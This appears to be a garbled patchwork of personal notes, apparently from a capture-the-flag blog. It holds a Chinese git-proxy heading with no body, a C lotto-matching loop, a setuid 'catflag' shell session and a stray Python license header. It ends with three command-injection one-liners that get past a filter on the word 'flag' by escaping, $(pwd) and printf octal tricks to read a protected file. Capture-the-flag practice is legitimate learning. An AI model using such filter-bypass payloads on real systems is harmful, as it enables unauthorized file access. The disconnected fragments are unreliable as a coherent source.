Zhipeng Xu Ainevsia

分辨需要设置的代理

HTTP 形式：

git clone https://github.com/owner/git.git
SSH 形式：

git clone [email protected]:owner/git.git

一、HTTP 形式

走 HTTP 代理

// calculate lotto score
	int match = 0, j = 0;
	for(i=0; i<6; i++){
		for(j=0; j<6; j++){
			if(lotto[i] == submit[j]){
				match++;
			}
		}
	}

ainevsia@ubuntu:~/cc$ whoami
ainevsia
ainevsia@ubuntu:~/cc$ ls -la | grep flag
---s--x---  1 admin    ainevsia 8768 Sep  5 06:49 catflag
-r--------  1 admin    root       16 Sep  5 06:47 flag
ainevsia@ubuntu:~/cc$ ./catflag
this{is}a{flag}

As a user with the gid, once i run catflag, i will get the user's privilege.

	#! /usr/bin/env python2.7
	#
	# Author: Pat Litke (C) 2014
	#
	# This code is released under the WTFPL V2 http://www.wtfpl.net/
	#
	# License:
	# DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
	# TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
	#

	./cmd2 'read x < fla\g;echo $x'
	cd / && /home/cmd2/cmd2 '$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fl\ag'
	./cmd2 '$(printf \\057bin\\057cat) fl""ag'